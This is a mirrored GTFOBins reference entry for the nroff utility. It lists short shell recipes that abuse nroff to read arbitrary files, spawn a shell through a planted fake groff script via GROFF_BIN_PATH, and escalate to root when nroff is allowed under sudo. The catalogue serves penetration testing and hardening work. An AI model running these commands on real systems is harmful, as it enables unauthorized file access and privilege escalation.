mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
23 lines
535 B
Markdown
23 lines
535 B
Markdown
---
|
|
functions:
|
|
file-read:
|
|
- description: The file is typeset and some warning messages may appear.
|
|
code: |
|
|
LFILE=file_to_read
|
|
nroff $LFILE
|
|
shell:
|
|
- code: |
|
|
TF=$(mktemp -d)
|
|
echo '#!/bin/sh' > $TF/groff
|
|
echo '/bin/sh' >> $TF/groff
|
|
chmod +x $TF/groff
|
|
GROFF_BIN_PATH=$TF nroff
|
|
sudo:
|
|
- code: |
|
|
TF=$(mktemp -d)
|
|
echo '#!/bin/sh' > $TF/groff
|
|
echo '/bin/sh' >> $TF/groff
|
|
chmod +x $TF/groff
|
|
sudo GROFF_BIN_PATH=$TF nroff
|
|
---
|